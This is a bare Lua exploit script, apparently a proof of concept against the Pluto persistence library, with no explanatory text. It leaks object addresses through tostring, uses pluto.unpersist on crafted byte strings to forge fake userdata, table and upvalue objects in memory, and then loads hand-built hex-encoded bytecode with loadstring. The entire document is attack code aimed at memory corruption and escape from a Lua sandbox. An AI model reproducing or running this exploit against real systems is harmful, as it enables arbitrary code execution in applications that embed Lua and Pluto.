bytecode = "1b4c756151000104080408000b000000000000004074657374342e6c756100710000007c00000000000003050000006400000000000001800080009c4080001e00800000000000010000000000000000000000730000007a0000000100000409000000050000006400000004000000800080009c40800080000000c40000009c4000011e0080000100000004090000000000000064656570636f7079000100000000000000000000007500000077000000010000030600000001000000454000008540000015800000080000001e00800002000000040900000000000000414141414242424200040a00000000000000757076616c5f707472000000000006000000760000007600000076000000760000007600000077000000000000000100000006000000000000006d61676963000900000074000000770000007700000078000000780000007900000079000000790000007a00000002000000090000000000000064656570636f70790001000000080000000600000000000000696e6e65720003000000080000000100000006000000000000006d6167696300050000007a0000007a0000007b0000007b0000007c0000000200000006000000000000006d6167696300000000000400000007000000000000006d6964646c6500020000000400000000000000" function exhaust_chunks() for i=1,1000 do a = {} a = nil end collectgarbage() end function hex_to_binary(hex) return (hex:gsub('..', function(cc) return string.char(tonumber(cc, 16)) end)) end function getaddr(obj) local s = tostring(obj) local hex = s:match(": (.+)$") local high, low if #hex > 8 then high = hex:sub(1, -9) low = hex:sub(-8) else high = "0" low = hex end high = tonumber(high, 16) or 0 low = tonumber(low, 16) or 0 return high * 0x100000000 + low end function ub4(x) local b0 = x % 256; x = (x - b0) / 256 local b1 = x % 256; x = (x - b1) / 256 local b2 = x % 256; x = (x - b2) / 256 local b3 = x % 256 return string.char(b0, b1, b2, b3) end function ub8(x) local b0 = x % 256; x = (x - b0) / 256 local b1 = x % 256; x = (x - b1) / 256 local b2 = x % 256; x = (x - b2) / 256 local b3 = x % 256; x = (x - b3) / 256 local b4 = x % 256; x = (x - b4) / 256 local b5 = x % 256; x = (x - b5) / 256 local b6 = x % 256; x = (x - b6) / 256 local b7 = x % 256 return string.char(b0, b1, b2, b3, b4, b5, b6, b7) end function craft_userdata_bytes(inputstr) size = ub8(#inputstr) return ub4(1) .. -- firstTime ub4(1) .. -- ref=1 ub4(7) .. -- LUA_TUSERDATA ub4(0) .. -- not special size .. inputstr .. -- content -- Simple nil metatable ub4(1) .. -- firstTime ub4(2) .. -- ref ub4(5) .. -- LUA_TTABLE type -- Add table contents ub4(0) .. -- not special ub4(0) .. ub4(0) .. ub4(0) end outer_object = nil function deepcopy(magic) -- outer_object = assert(string.sub(magic, 9, 16)) magic[1] = assert(pluto.unpersist({}, ub4(1) .. ub4(1) .. ub4(2) .. ub4(0x41414141) .. ub4(0x42424242))) magic[2] = assert(pluto.unpersist({}, ub4(1) .. ub4(1) .. ub4(2) .. ub4(0x43434343) .. ub4(0x44444444))) end function exploit() collectgarbage("collect") collectgarbage("stop") some_tbl = {} some_addr = getaddr(some_tbl) print(tostring(some_tbl)) fake_tbl_ud = "\5" .. "\1" .. "\255" .. "\0" .. string.rep("\0", 4) .. ub8(0) .. ub8(0) .. ub8(some_addr) .. ub8(0) fake_tbl_ud_ptr = craft_userdata_bytes(fake_tbl_ud) fake_tbl = assert(pluto.unpersist({}, fake_tbl_ud_ptr)) fake_tbl_ptr = getaddr(fake_tbl) print(tostring(print)) printaddr = getaddr(print) -- luds = ub8(printaddr) .. ub4(4) luds = ub8(fake_tbl_ptr) .. ub4(5) -- [first_addr-72] for node ludp = craft_userdata_bytes(luds) lud = assert(pluto.unpersist({}, ludp)) upvals = ub8(0) .. ub8(0) .. ub8(getaddr(lud)) upvalp = craft_userdata_bytes(upvals) upval = assert(pluto.unpersist({}, upvalp)) upval_ptr = ub8(getaddr(upval)) bytedump = hex_to_binary(bytecode) loadstring(bytedump)() end exploit() print("Finish")